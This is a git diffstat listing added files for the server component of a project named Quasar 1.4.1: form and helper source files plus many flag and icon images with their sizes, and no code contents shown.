.../Forms/FrmTaskManager.Designer.cs | 249 ++ .../Quasar.Server/Forms/FrmTaskManager.cs | 216 ++ .../Quasar.Server/Forms/FrmTaskManager.resx | 665 +++++ .../Forms/FrmVisitWebsite.Designer.cs | 107 + .../Quasar.Server/Forms/FrmVisitWebsite.cs | 41 + .../Quasar.Server/Forms/FrmVisitWebsite.resx | 659 +++++ .../Quasar.Server/Helper/CertificateHelper.cs | 85 + .../Quasar.Server/Helper/ClientDataManager.cs | 78 + .../Quasar.Server/Helper/ClipboardHelper.cs | 19 + .../Helper/NativeMethodsHelper.cs | 35 + .../Quasar.Server/Helper/WindowHelper.cs | 17 + .../Quasar.Server/Images/Flags/ad.png | Bin 0 -> 643 bytes .../Quasar.Server/Images/Flags/ae.png | Bin 0 -> 408 bytes .../Quasar.Server/Images/Flags/af.png | Bin 0 -> 604 bytes .../Quasar.Server/Images/Flags/ag.png | Bin 0 -> 591 bytes .../Quasar.Server/Images/Flags/ai.png | Bin 0 -> 643 bytes .../Quasar.Server/Images/Flags/al.png | Bin 0 -> 600 bytes .../Quasar.Server/Images/Flags/am.png | Bin 0 -> 497 bytes .../Quasar.Server/Images/Flags/an.png | Bin 0 -> 488 bytes .../Quasar.Server/Images/Flags/ao.png | Bin 0 -> 428 bytes .../Quasar.Server/Images/Flags/ar.png | Bin 0 -> 506 bytes .../Quasar.Server/Images/Flags/as.png | Bin 0 -> 647 bytes .../Quasar.Server/Images/Flags/at.png | Bin 0 -> 403 bytes .../Quasar.Server/Images/Flags/au.png | Bin 0 -> 673 bytes .../Quasar.Server/Images/Flags/aw.png | Bin 0 -> 524 bytes .../Quasar.Server/Images/Flags/ax.png | Bin 0 -> 663 bytes .../Quasar.Server/Images/Flags/az.png | Bin 0 -> 589 bytes .../Quasar.Server/Images/Flags/ba.png | Bin 0 -> 593 bytes .../Quasar.Server/Images/Flags/bb.png | Bin 0 -> 585 bytes .../Quasar.Server/Images/Flags/bd.png | Bin 0 -> 504 bytes .../Quasar.Server/Images/Flags/be.png | Bin 0 -> 449 bytes .../Quasar.Server/Images/Flags/bf.png | Bin 0 -> 497 bytes .../Quasar.Server/Images/Flags/bg.png | Bin 0 -> 462 bytes .../Quasar.Server/Images/Flags/bh.png | Bin 0 -> 457 bytes .../Quasar.Server/Images/Flags/bi.png | Bin 0 -> 675 bytes .../Quasar.Server/Images/Flags/bj.png | Bin 0 -> 486 bytes .../Quasar.Server/Images/Flags/bm.png | Bin 0 -> 611 bytes .../Quasar.Server/Images/Flags/bn.png | Bin 0 -> 639 bytes .../Quasar.Server/Images/Flags/bo.png | Bin 0 -> 500 bytes .../Quasar.Server/Images/Flags/br.png | Bin 0 -> 593 bytes .../Quasar.Server/Images/Flags/bs.png | Bin 0 -> 526 bytes .../Quasar.Server/Images/Flags/bt.png | Bin 0 -> 631 bytes .../Quasar.Server/Images/Flags/bv.png | Bin 0 -> 512 bytes .../Quasar.Server/Images/Flags/bw.png | Bin 0 -> 443 bytes .../Quasar.Server/Images/Flags/by.png | Bin 0 -> 514 bytes .../Quasar.Server/Images/Flags/bz.png | Bin 0 -> 600 bytes .../Quasar.Server/Images/Flags/ca.png | Bin 0 -> 628 bytes .../Quasar.Server/Images/Flags/catalonia.png | Bin 0 -> 398 bytes .../Quasar.Server/Images/Flags/cc.png | Bin 0 -> 625 bytes .../Quasar.Server/Images/Flags/cd.png | Bin 0 -> 528 bytes .../Quasar.Server/Images/Flags/cf.png | Bin 0 -> 614 bytes .../Quasar.Server/Images/Flags/cg.png | Bin 0 -> 521 bytes .../Quasar.Server/Images/Flags/ch.png | Bin 0 -> 367 bytes .../Quasar.Server/Images/Flags/ci.png | Bin 0 -> 453 bytes .../Quasar.Server/Images/Flags/ck.png | Bin 0 -> 586 bytes .../Quasar.Server/Images/Flags/cl.png | Bin 0 -> 450 bytes .../Quasar.Server/Images/Flags/cm.png | Bin 0 -> 525 bytes .../Quasar.Server/Images/Flags/cn.png | Bin 0 -> 472 bytes .../Quasar.Server/Images/Flags/co.png | Bin 0 -> 483 bytes .../Quasar.Server/Images/Flags/cr.png | Bin 0 -> 477 bytes .../Quasar.Server/Images/Flags/cs.png | Bin 0 -> 439 bytes .../Quasar.Server/Images/Flags/cu.png | Bin 0 -> 563 bytes .../Quasar.Server/Images/Flags/cv.png | Bin 0 -> 529 bytes .../Quasar.Server/Images/Flags/cx.png | Bin 0 -> 608 bytes .../Quasar.Server/Images/Flags/cy.png | Bin 0 -> 428 bytes .../Quasar.Server/Images/Flags/cz.png | Bin 0 -> 476 bytes .../Quasar.Server/Images/Flags/de.png | Bin 0 -> 545 bytes .../Quasar.Server/Images/Flags/dj.png | Bin 0 -> 572 bytes .../Quasar.Server/Images/Flags/dk.png | Bin 0 -> 495 bytes .../Quasar.Server/Images/Flags/dm.png | Bin 0 -> 620 bytes .../Quasar.Server/Images/Flags/do.png | Bin 0 -> 508 bytes .../Quasar.Server/Images/Flags/dz.png | Bin 0 -> 582 bytes .../Quasar.Server/Images/Flags/ec.png | Bin 0 -> 500 bytes .../Quasar.Server/Images/Flags/ee.png | Bin 0 -> 429 bytes .../Quasar.Server/Images/Flags/eg.png | Bin 0 -> 465 bytes .../Quasar.Server/Images/Flags/eh.png | Bin 0 -> 508 bytes .../Quasar.Server/Images/Flags/england.png | Bin 0 -> 496 bytes .../Quasar.Server/Images/Flags/er.png | Bin 0 -> 653 bytes .../Quasar.Server/Images/Flags/es.png | Bin 0 -> 469 bytes .../Quasar.Server/Images/Flags/et.png | Bin 0 -> 592 bytes .../Images/Flags/europeanunion.png | Bin 0 -> 479 bytes .../Quasar.Server/Images/Flags/fam.png | Bin 0 -> 532 bytes .../Quasar.Server/Images/Flags/fi.png | Bin 0 -> 489 bytes .../Quasar.Server/Images/Flags/fj.png | Bin 0 -> 610 bytes .../Quasar.Server/Images/Flags/fk.png | Bin 0 -> 648 bytes .../Quasar.Server/Images/Flags/fm.png | Bin 0 -> 552 bytes .../Quasar.Server/Images/Flags/fo.png | Bin 0 -> 474 bytes .../Quasar.Server/Images/Flags/fr.png | Bin 0 -> 545 bytes .../Quasar.Server/Images/Flags/ga.png | Bin 0 -> 489 bytes .../Quasar.Server/Images/Flags/gb.png | Bin 0 -> 599 bytes .../Quasar.Server/Images/Flags/gd.png | Bin 0 -> 637 bytes .../Quasar.Server/Images/Flags/ge.png | Bin 0 -> 594 bytes .../Quasar.Server/Images/Flags/gf.png | Bin 0 -> 545 bytes .../Quasar.Server/Images/Flags/gh.png | Bin 0 -> 490 bytes .../Quasar.Server/Images/Flags/gi.png | Bin 0 -> 463 bytes .../Quasar.Server/Images/Flags/gl.png | Bin 0 -> 470 bytes .../Quasar.Server/Images/Flags/gm.png | Bin 0 -> 493 bytes .../Quasar.Server/Images/Flags/gn.png | Bin 0 -> 480 bytes .../Quasar.Server/Images/Flags/gp.png | Bin 0 -> 488 bytes .../Quasar.Server/Images/Flags/gq.png | Bin 0 -> 537 bytes .../Quasar.Server/Images/Flags/gr.png | Bin 0 -> 487 bytes .../Quasar.Server/Images/Flags/gs.png | Bin 0 -> 630 bytes .../Quasar.Server/Images/Flags/gt.png | Bin 0 -> 493 bytes .../Quasar.Server/Images/Flags/gu.png | Bin 0 -> 509 bytes .../Quasar.Server/Images/Flags/gw.png | Bin 0 -> 516 bytes .../Quasar.Server/Images/Flags/gy.png | Bin 0 -> 645 bytes .../Quasar.Server/Images/Flags/hk.png | Bin 0 -> 527 bytes .../Quasar.Server/Images/Flags/hm.png | Bin 0 -> 673 bytes .../Quasar.Server/Images/Flags/hn.png | Bin 0 -> 537 bytes .../Quasar.Server/Images/Flags/hr.png | Bin 0 -> 524 bytes .../Quasar.Server/Images/Flags/ht.png | Bin 0 -> 487 bytes .../Quasar.Server/Images/Flags/hu.png | Bin 0 -> 432 bytes .../Quasar.Server/Images/Flags/id.png | Bin 0 -> 430 bytes .../Quasar.Server/Images/Flags/ie.png | Bin 0 -> 481 bytes .../Quasar.Server/Images/Flags/il.png | Bin 0 -> 431 bytes .../Quasar.Server/Images/Flags/in.png | Bin 0 -> 503 bytes .../Quasar.Server/Images/Flags/io.png | Bin 0 -> 658 bytes .../Quasar.Server/Images/Flags/iq.png | Bin 0 -> 515 bytes .../Quasar.Server/Images/Flags/ir.png | Bin 0 -> 512 bytes .../Quasar.Server/Images/Flags/is.png | Bin 0 -> 532 bytes .../Quasar.Server/Images/Flags/it.png | Bin 0 -> 420 bytes .../Quasar.Server/Images/Flags/jm.png | Bin 0 -> 637 bytes .../Quasar.Server/Images/Flags/jo.png | Bin 0 -> 473 bytes .../Quasar.Server/Images/Flags/jp.png | Bin 0 -> 420 bytes .../Quasar.Server/Images/Flags/ke.png | Bin 0 -> 569 bytes .../Quasar.Server/Images/Flags/kg.png | Bin 0 -> 510 bytes .../Quasar.Server/Images/Flags/kh.png | Bin 0 -> 549 bytes .../Quasar.Server/Images/Flags/ki.png | Bin 0 -> 656 bytes .../Quasar.Server/Images/Flags/km.png | Bin 0 -> 577 bytes .../Quasar.Server/Images/Flags/kn.png | Bin 0 -> 604 bytes .../Quasar.Server/Images/Flags/kp.png | Bin 0 -> 561 bytes .../Quasar.Server/Images/Flags/kr.png | Bin 0 -> 592 bytes .../Quasar.Server/Images/Flags/kw.png | Bin 0 -> 486 bytes .../Quasar.Server/Images/Flags/ky.png | Bin 0 -> 643 bytes .../Quasar.Server/Images/Flags/kz.png | Bin 0 -> 616 bytes .../Quasar.Server/Images/Flags/la.png | Bin 0 -> 563 bytes .../Quasar.Server/Images/Flags/lb.png | Bin 0 -> 517 bytes .../Quasar.Server/Images/Flags/lc.png | Bin 0 -> 520 bytes .../Quasar.Server/Images/Flags/li.png | Bin 0 -> 537 bytes .../Quasar.Server/Images/Flags/lk.png | Bin 0 -> 627 bytes .../Quasar.Server/Images/Flags/lr.png | Bin 0 -> 466 bytes .../Quasar.Server/Images/Flags/ls.png | Bin 0 -> 628 bytes .../Quasar.Server/Images/Flags/lt.png | Bin 0 -> 508 bytes .../Quasar.Server/Images/Flags/lu.png | Bin 0 -> 481 bytes .../Quasar.Server/Images/Flags/lv.png | Bin 0 -> 465 bytes .../Quasar.Server/Images/Flags/ly.png | Bin 0 -> 419 bytes .../Quasar.Server/Images/Flags/ma.png | Bin 0 -> 432 bytes .../Quasar.Server/Images/Flags/mc.png | Bin 0 -> 380 bytes .../Quasar.Server/Images/Flags/md.png | Bin 0 -> 566 bytes .../Quasar.Server/Images/Flags/me.png | Bin 0 -> 448 bytes .../Quasar.Server/Images/Flags/mg.png | Bin 0 -> 453 bytes .../Quasar.Server/Images/Flags/mh.png | Bin 0 -> 628 bytes .../Quasar.Server/Images/Flags/mk.png | Bin 0 -> 664 bytes .../Quasar.Server/Images/Flags/ml.png | Bin 0 -> 474 bytes .../Quasar.Server/Images/Flags/mm.png | Bin 0 -> 483 bytes .../Quasar.Server/Images/Flags/mn.png | Bin 0 -> 492 bytes .../Quasar.Server/Images/Flags/mo.png | Bin 0 -> 588 bytes .../Quasar.Server/Images/Flags/mp.png | Bin 0 -> 597 bytes .../Quasar.Server/Images/Flags/mq.png | Bin 0 -> 655 bytes .../Quasar.Server/Images/Flags/mr.png | Bin 0 -> 569 bytes .../Quasar.Server/Images/Flags/ms.png | Bin 0 -> 614 bytes .../Quasar.Server/Images/Flags/mt.png | Bin 0 -> 420 bytes .../Quasar.Server/Images/Flags/mu.png | Bin 0 -> 496 bytes .../Quasar.Server/Images/Flags/mv.png | Bin 0 -> 542 bytes .../Quasar.Server/Images/Flags/mw.png | Bin 0 -> 529 bytes .../Quasar.Server/Images/Flags/mx.png | Bin 0 -> 574 bytes .../Quasar.Server/Images/Flags/my.png | Bin 0 -> 571 bytes .../Quasar.Server/Images/Flags/mz.png | Bin 0 -> 584 bytes .../Quasar.Server/Images/Flags/na.png | Bin 0 -> 647 bytes .../Quasar.Server/Images/Flags/nc.png | Bin 0 -> 591 bytes .../Quasar.Server/Images/Flags/ne.png | Bin 0 -> 537 bytes .../Quasar.Server/Images/Flags/nf.png | Bin 0 -> 602 bytes .../Quasar.Server/Images/Flags/ng.png | Bin 0 -> 482 bytes .../Quasar.Server/Images/Flags/ni.png | Bin 0 -> 508 bytes .../Quasar.Server/Images/Flags/nl.png | Bin 0 -> 453 bytes .../Quasar.Server/Images/Flags/no.png | Bin 0 -> 512 bytes .../Quasar.Server/Images/Flags/np.png | Bin 0 -> 443 bytes .../Quasar.Server/Images/Flags/nr.png | Bin 0 -> 527 bytes .../Quasar.Server/Images/Flags/nu.png | Bin 0 -> 572 bytes .../Quasar.Server/Images/Flags/nz.png | Bin 0 -> 639 bytes .../Quasar.Server/Images/Flags/om.png | Bin 0 -> 478 bytes .../Quasar.Server/Images/Flags/pa.png | Bin 0 -> 519 bytes .../Quasar.Server/Images/Flags/pe.png | Bin 0 -> 397 bytes .../Quasar.Server/Images/Flags/pf.png | Bin 0 -> 498 bytes .../Quasar.Server/Images/Flags/pg.png | Bin 0 -> 593 bytes .../Quasar.Server/Images/Flags/ph.png | Bin 0 -> 538 bytes .../Quasar.Server/Images/Flags/pk.png | Bin 0 -> 569 bytes .../Quasar.Server/Images/Flags/pl.png | Bin 0 -> 374 bytes .../Quasar.Server/Images/Flags/pm.png | Bin 0 -> 689 bytes .../Quasar.Server/Images/Flags/pn.png | Bin 0 -> 657 bytes .../Quasar.Server/Images/Flags/pr.png | Bin 0 -> 556 bytes .../Quasar.Server/Images/Flags/ps.png | Bin 0 -> 472 bytes .../Quasar.Server/Images/Flags/pt.png | Bin 0 -> 554 bytes .../Quasar.Server/Images/Flags/pw.png | Bin 0 -> 550 bytes .../Quasar.Server/Images/Flags/py.png | Bin 0 -> 473 bytes .../Quasar.Server/Images/Flags/qa.png | Bin 0 -> 450 bytes .../Quasar.Server/Images/Flags/re.png | Bin 0 -> 545 bytes .../Quasar.Server/Images/Flags/ro.png | Bin 0 -> 495 bytes .../Quasar.Server/Images/Flags/rs.png | Bin 0 -> 423 bytes .../Quasar.Server/Images/Flags/ru.png | Bin 0 -> 420 bytes .../Quasar.Server/Images/Flags/rw.png | Bin 0 -> 533 bytes .../Quasar.Server/Images/Flags/sa.png | Bin 0 -> 551 bytes .../Quasar.Server/Images/Flags/sb.png | Bin 0 -> 624 bytes .../Quasar.Server/Images/Flags/sc.png | Bin 0 -> 608 bytes .../Quasar.Server/Images/Flags/scotland.png | Bin 0 -> 649 bytes .../Quasar.Server/Images/Flags/sd.png | Bin 0 -> 492 bytes .../Quasar.Server/Images/Flags/se.png | Bin 0 -> 542 bytes .../Quasar.Server/Images/Flags/sg.png | Bin 0 -> 468 bytes .../Quasar.Server/Images/Flags/sh.png | Bin 0 -> 645 bytes .../Quasar.Server/Images/Flags/si.png | Bin 0 -> 510 bytes .../Quasar.Server/Images/Flags/sj.png | Bin 0 -> 512 bytes .../Quasar.Server/Images/Flags/sk.png | Bin 0 -> 562 bytes .../Quasar.Server/Images/Flags/sl.png | Bin 0 -> 436 bytes .../Quasar.Server/Images/Flags/sm.png | Bin 0 -> 502 bytes .../Quasar.Server/Images/Flags/sn.png | Bin 0 -> 532 bytes .../Quasar.Server/Images/Flags/so.png | Bin 0 -> 527 bytes .../Quasar.Server/Images/Flags/sr.png | Bin 0 -> 513 bytes .../Quasar.Server/Images/Flags/st.png | Bin 0 -> 584 bytes .../Quasar.Server/Images/Flags/sv.png | Bin 0 -> 501 bytes .../Quasar.Server/Images/Flags/sy.png | Bin 0 -> 422 bytes .../Quasar.Server/Images/Flags/sz.png | Bin 0 -> 643 bytes .../Quasar.Server/Images/Flags/tc.png | Bin 0 -> 624 bytes .../Quasar.Server/Images/Flags/td.png | Bin 0 -> 570 bytes .../Quasar.Server/Images/Flags/tf.png | Bin 0 -> 527 bytes .../Quasar.Server/Images/Flags/tg.png | Bin 0 -> 562 bytes .../Quasar.Server/Images/Flags/th.png | Bin 0 -> 452 bytes .../Quasar.Server/Images/Flags/tj.png | Bin 0 -> 496 bytes .../Quasar.Server/Images/Flags/tk.png | Bin 0 -> 638 bytes .../Quasar.Server/Images/Flags/tl.png | Bin 0 -> 514 bytes .../Quasar.Server/Images/Flags/tm.png | Bin 0 -> 593 bytes .../Quasar.Server/Images/Flags/tn.png | Bin 0 -> 495 bytes .../Quasar.Server/Images/Flags/to.png | Bin 0 -> 426 bytes .../Quasar.Server/Images/Flags/tr.png | Bin 0 -> 492 bytes .../Quasar.Server/Images/Flags/tt.png | Bin 0 -> 617 bytes .../Quasar.Server/Images/Flags/tv.png | Bin 0 -> 536 bytes .../Quasar.Server/Images/Flags/tw.png | Bin 0 -> 465 bytes .../Quasar.Server/Images/Flags/tz.png | Bin 0 -> 642 bytes .../Quasar.Server/Images/Flags/ua.png | Bin 0 -> 446 bytes .../Quasar.Server/Images/Flags/ug.png | Bin 0 -> 531 bytes .../Quasar.Server/Images/Flags/um.png | Bin 0 -> 571 bytes .../Quasar.Server/Images/Flags/us.png | Bin 0 -> 609 bytes .../Quasar.Server/Images/Flags/uy.png | Bin 0 -> 532 bytes .../Quasar.Server/Images/Flags/uz.png | Bin 0 -> 515 bytes .../Quasar.Server/Images/Flags/va.png | Bin 0 -> 553 bytes .../Quasar.Server/Images/Flags/vc.png | Bin 0 -> 577 bytes .../Quasar.Server/Images/Flags/ve.png | Bin 0 -> 528 bytes .../Quasar.Server/Images/Flags/vg.png | Bin 0 -> 630 bytes .../Quasar.Server/Images/Flags/vi.png | Bin 0 -> 616 bytes .../Quasar.Server/Images/Flags/vn.png | Bin 0 -> 474 bytes .../Quasar.Server/Images/Flags/vu.png | Bin 0 -> 604 bytes .../Quasar.Server/Images/Flags/wales.png | Bin 0 -> 652 bytes .../Quasar.Server/Images/Flags/wf.png | Bin 0 -> 554 bytes .../Quasar.Server/Images/Flags/ws.png | Bin 0 -> 476 bytes .../Quasar.Server/Images/Flags/xy.png | Bin 0 -> 3175 bytes .../Quasar.Server/Images/Flags/ye.png | Bin 0 -> 413 bytes .../Quasar.Server/Images/Flags/yt.png | Bin 0 -> 593 bytes .../Quasar.Server/Images/Flags/za.png | Bin 0 -> 642 bytes .../Quasar.Server/Images/Flags/zm.png | Bin 0 -> 500 bytes .../Quasar.Server/Images/Flags/zw.png | Bin 0 -> 574 bytes .../Images/Icons/Quasar_Server.ico | Bin 0 -> 32038 bytes .../Images/Icons/Quasar_Server.png | Bin 0 -> 9277 bytes Quasar-1.4.1/Quasar.Server/Images/accept.png | Bin 0 -> 781 bytes Quasar-1.4.1/Quasar.Server/Images/actions.png | Bin 0 -> 536 bytes Quasar-1.4.1/Quasar.Server/Images/add.png | Bin 0 -> 733 bytes .../Quasar.Server/Images/application.png | Bin 0 -> 467 bytes .../Quasar.Server/Images/application_add.png | Bin 0 -> 619 bytes .../Images/application_cascade.png | Bin 0 -> 524 bytes .../Images/application_delete.png | Bin 0 -> 610 bytes .../Quasar.Server/Images/application_edit.png | Bin 0 -> 703 bytes .../Quasar.Server/Images/application_go.png | Bin 0 -> 634 bytes Quasar-1.4.1/Quasar.Server/Images/archive.png | Bin 0 -> 644 bytes .../Quasar.Server/Images/arrow_down.png | Bin 0 -> 379 bytes .../Quasar.Server/Images/arrow_redo.png | Bin 0 -> 625 bytes .../Quasar.Server/Images/arrow_refresh.png | Bin 0 -> 685 bytes .../Quasar.Server/Images/arrow_undo.png | Bin 0 -> 631 bytes .../Quasar.Server/Images/arrow_up.png | Bin 0 -> 372 bytes Quasar-1.4.1/Quasar.Server/Images/back.png | Bin 0 -> 371 bytes Quasar-1.4.1/Quasar.Server/Images/basket.png | Bin 0 -> 669 bytes Quasar-1.4.1/Quasar.Server/Images/bell.png | Bin 0 -> 789 bytes Quasar-1.4.1/Quasar.Server/Images/book.png | Bin 0 -> 593 bytes .../Quasar.Server/Images/book_open.png | Bin 0 -> 622 bytes Quasar-1.4.1/Quasar.Server/Images/box.png | Bin 0 -> 555 bytes Quasar-1.4.1/Quasar.Server/Images/brick.png | Bin 0 -> 399 bytes Quasar-1.4.1/Quasar.Server/Images/bricks.png | Bin 0 -> 825 bytes .../Quasar.Server/Images/briefcase.png | Bin 0 -> 793 bytes Quasar-1.4.1/Quasar.Server/Images/broom.png | Bin 0 -> 784 bytes Quasar-1.4.1/Quasar.Server/Images/bug.png | Bin 0 -> 774 bytes .../Quasar.Server/Images/building.png | Bin 0 -> 556 bytes .../Quasar.Server/Images/calendar.png | Bin 0 -> 675 bytes Quasar-1.4.1/Quasar.Server/Images/camera.png | Bin 0 -> 665 bytes Quasar-1.4.1/Quasar.Server/Images/cancel.png | Bin 0 -> 587 bytes Quasar-1.4.1/Quasar.Server/Images/car.png | Bin 0 -> 610 bytes Quasar-1.4.1/Quasar.Server/Images/cart.png | Bin 0 -> 368 bytes Quasar-1.4.1/Quasar.Server/Images/cd.png | Bin 0 -> 673 bytes .../Quasar.Server/Images/chart_bar.png | Bin 0 -> 541 bytes .../Quasar.Server/Images/chart_line.png | Bin 0 -> 526 bytes .../Quasar.Server/Images/chart_pie.png | Bin 0 -> 918 bytes Quasar-1.4.1/Quasar.Server/Images/clock.png | Bin 0 -> 882 bytes Quasar-1.4.1/Quasar.Server/Images/cog.png | Bin 0 -> 512 bytes Quasar-1.4.1/Quasar.Server/Images/coins.png | Bin 0 -> 732 bytes Quasar-1.4.1/Quasar.Server/Images/comment.png | Bin 0 -> 413 bytes .../Quasar.Server/Images/computer.png | Bin 0 -> 667 bytes Quasar-1.4.1/Quasar.Server/Images/connect.png | Bin 0 -> 748 bytes .../Images/control_fastforward.png | Bin 0 -> 607 bytes .../Quasar.Server/Images/control_pause.png | Bin 0 -> 598 bytes .../Quasar.Server/Images/control_play.png | Bin 0 -> 592 bytes .../Quasar.Server/Images/control_rewind.png | Bin 0 -> 614 bytes .../Quasar.Server/Images/control_stop.png | Bin 0 -> 350 bytes .../Quasar.Server/Images/creditcards.png | Bin 0 -> 693 bytes Quasar-1.4.1/Quasar.Server/Images/cross.png | Bin 0 -> 655 bytes .../Quasar.Server/Images/database.png | Bin 0 -> 337 bytes .../Quasar.Server/Images/database_go.png | Bin 0 -> 698 bytes Quasar-1.4.1/Quasar.Server/Images/date.png | Bin 0 -> 616 bytes Quasar-1.4.1/Quasar.Server/Images/delete.png | Bin 0 -> 715 bytes .../Quasar.Server/Images/disconnect.png | Bin 0 -> 796 bytes Quasar-1.4.1/Quasar.Server/Images/disk.png | Bin 0 -> 620 bytes .../Quasar.Server/Images/disk_multiple.png | Bin 0 -> 691 bytes Quasar-1.4.1/Quasar.Server/Images/done.png | Bin 0 -> 537 bytes .../Quasar.Server/Images/drive_go.png | Bin 0 -> 661 bytes Quasar-1.4.1/Quasar.Server/Images/dvd.png | Bin 0 -> 764 bytes Quasar-1.4.1/Quasar.Server/Images/email.png | Bin 0 -> 641 bytes .../Quasar.Server/Images/email_open.png | Bin 0 -> 783 bytes Quasar-1.4.1/Quasar.Server/Images/error.png | Bin 0 -> 666 bytes .../Quasar.Server/Images/error_add.png | Bin 0 -> 710 bytes .../Quasar.Server/Images/error_delete.png | Bin 0 -> 729 bytes .../Quasar.Server/Images/exclamation.png | Bin 0 -> 701 bytes Quasar-1.4.1/Quasar.Server/Images/eye.png | Bin 0 -> 750 bytes Quasar-1.4.1/Quasar.Server/Images/file.png | Bin 0 -> 510 bytes Quasar-1.4.1/Quasar.Server/Images/film.png | Bin 0 -> 653 bytes Quasar-1.4.1/Quasar.Server/Images/find.png | Bin 0 -> 644 bytes .../Quasar.Server/Images/flag_red.png | Bin 0 -> 665 bytes Quasar-1.4.1/Quasar.Server/Images/folder.png | Bin 0 -> 537 bytes .../Quasar.Server/Images/folder_go.png | Bin 0 -> 694 bytes Quasar-1.4.1/Quasar.Server/Images/group.png | Bin 0 -> 753 bytes .../Quasar.Server/Images/group_add.png | Bin 0 -> 807 bytes Quasar-1.4.1/Quasar.Server/Images/help.png | Bin 0 -> 786 bytes .../Quasar.Server/Images/hourglass.png | Bin 0 -> 744 bytes Quasar-1.4.1/Quasar.Server/Images/house.png | Bin 0 -> 806 bytes Quasar-1.4.1/Quasar.Server/Images/image.png | Bin 0 -> 516 bytes .../Quasar.Server/Images/image_add.png | Bin 0 -> 653 bytes .../Quasar.Server/Images/image_delete.png | Bin 0 -> 653 bytes .../Quasar.Server/Images/information.png | Bin 0 -> 778 bytes Quasar-1.4.1/Quasar.Server/Images/key.png | Bin 0 -> 603 bytes Quasar-1.4.1/Quasar.Server/Images/key_go.png | Bin 0 -> 744 bytes .../Quasar.Server/Images/keyboard.png | Bin 0 -> 570 bytes .../Quasar.Server/Images/keyboard_add.png | Bin 0 -> 683 bytes .../Quasar.Server/Images/keyboard_delete.png | Bin 0 -> 681 bytes .../Quasar.Server/Images/keyboard_magnify.png | Bin 0 -> 651 bytes .../Quasar.Server/Images/lightbulb.png | Bin 0 -> 782 bytes .../Quasar.Server/Images/lightbulb_off.png | Bin 0 -> 700 bytes .../Quasar.Server/Images/lightning.png | Bin 0 -> 634 bytes Quasar-1.4.1/Quasar.Server/Images/lock.png | Bin 0 -> 749 bytes .../Quasar.Server/Images/lock_open.png | Bin 0 -> 727 bytes .../Quasar.Server/Images/magnifier.png | Bin 0 -> 615 bytes Quasar-1.4.1/Quasar.Server/Images/monitor.png | Bin 0 -> 612 bytes .../Quasar.Server/Images/monitoring.png | Bin 0 -> 952 bytes .../Quasar.Server/Images/mouse_add.png | Bin 0 -> 729 bytes .../Quasar.Server/Images/mouse_delete.png | Bin 0 -> 741 bytes Quasar-1.4.1/Quasar.Server/Images/movie.png | Bin 0 -> 661 bytes Quasar-1.4.1/Quasar.Server/Images/music.png | Bin 0 -> 332 bytes Quasar-1.4.1/Quasar.Server/Images/new.png | Bin 0 -> 378 bytes Quasar-1.4.1/Quasar.Server/Images/note.png | Bin 0 -> 500 bytes .../Quasar.Server/Images/note_add.png | Bin 0 -> 641 bytes .../Quasar.Server/Images/note_delete.png | Bin 0 -> 631 bytes Quasar-1.4.1/Quasar.Server/Images/package.png | Bin 0 -> 853 bytes .../Quasar.Server/Images/package_add.png | Bin 0 -> 899 bytes .../Quasar.Server/Images/package_delete.png | Bin 0 -> 891 bytes .../Quasar.Server/Images/package_go.png | Bin 0 -> 898 bytes .../Quasar.Server/Images/page_copy.png | Bin 0 -> 663 bytes .../Quasar.Server/Images/page_white_text.png | Bin 0 -> 342 bytes Quasar-1.4.1/Quasar.Server/Images/pdf.png | Bin 0 -> 500 bytes Quasar-1.4.1/Quasar.Server/Images/pencil.png | Bin 0 -> 391 bytes .../Quasar.Server/Images/pencil_add.png | Bin 0 -> 548 bytes .../Quasar.Server/Images/pencil_delete.png | Bin 0 -> 571 bytes Quasar-1.4.1/Quasar.Server/Images/phone.png | Bin 0 -> 488 bytes Quasar-1.4.1/Quasar.Server/Images/picture.png | Bin 0 -> 606 bytes .../Quasar.Server/Images/picture_add.png | Bin 0 -> 745 bytes .../Quasar.Server/Images/picture_delete.png | Bin 0 -> 744 bytes Quasar-1.4.1/Quasar.Server/Images/printer.png | Bin 0 -> 731 bytes .../Quasar.Server/Images/printer_add.png | Bin 0 -> 782 bytes Quasar-1.4.1/Quasar.Server/Images/refresh.png | Bin 0 -> 685 bytes .../Quasar.Server/Images/reg_binary.png | Bin 0 -> 406 bytes .../Quasar.Server/Images/reg_string.png | Bin 0 -> 487 bytes .../Quasar.Server/Images/registry.png | Bin 0 -> 714 bytes Quasar-1.4.1/Quasar.Server/Images/report.png | Bin 0 -> 614 bytes .../Quasar.Server/Images/report_add.png | Bin 0 -> 697 bytes .../Quasar.Server/Images/report_delete.png | Bin 0 -> 720 bytes Quasar-1.4.1/Quasar.Server/Images/restart.png | Bin 0 -> 756 bytes Quasar-1.4.1/Quasar.Server/Images/save.png | Bin 0 -> 410 bytes Quasar-1.4.1/Quasar.Server/Images/server.png | Bin 0 -> 530 bytes .../Quasar.Server/Images/server_add.png | Bin 0 -> 676 bytes .../Quasar.Server/Images/server_connect.png | Bin 0 -> 755 bytes .../Quasar.Server/Images/server_delete.png | Bin 0 -> 668 bytes .../Images/server_disconnect.png | Bin 0 -> 755 bytes .../Quasar.Server/Images/server_go.png | Bin 0 -> 706 bytes .../Quasar.Server/Images/server_link.png | Bin 0 -> 706 bytes .../Quasar.Server/Images/settings.png | Bin 0 -> 459 bytes Quasar-1.4.1/Quasar.Server/Images/shield.png | Bin 0 -> 702 bytes .../Quasar.Server/Images/shutdown.png | Bin 0 -> 660 bytes Quasar-1.4.1/Quasar.Server/Images/sound.png | Bin 0 -> 610 bytes Quasar-1.4.1/Quasar.Server/Images/standby.png | Bin 0 -> 621 bytes Quasar-1.4.1/Quasar.Server/Images/star.png | Bin 0 -> 670 bytes .../Quasar.Server/Images/status_away.png | Bin 0 -> 794 bytes .../Quasar.Server/Images/status_busy.png | Bin 0 -> 751 bytes .../Quasar.Server/Images/status_offline.png | Bin 0 -> 369 bytes .../Quasar.Server/Images/status_online.png | Bin 0 -> 722 bytes Quasar-1.4.1/Quasar.Server/Images/stop.png | Bin 0 -> 700 bytes Quasar-1.4.1/Quasar.Server/Images/table.png | Bin 0 -> 566 bytes .../Quasar.Server/Images/table_add.png | Bin 0 -> 661 bytes .../Quasar.Server/Images/table_delete.png | Bin 0 -> 660 bytes Quasar-1.4.1/Quasar.Server/Images/tag.png | Bin 0 -> 383 bytes .../Quasar.Server/Images/tag_blue.png | Bin 0 -> 586 bytes .../Quasar.Server/Images/tag_green.png | Bin 0 -> 613 bytes Quasar-1.4.1/Quasar.Server/Images/tag_red.png | Bin 0 -> 592 bytes .../Quasar.Server/Images/terminal.png | Bin 0 -> 525 bytes Quasar-1.4.1/Quasar.Server/Images/text.png | Bin 0 -> 592 bytes .../Quasar.Server/Images/textfield_rename.png | 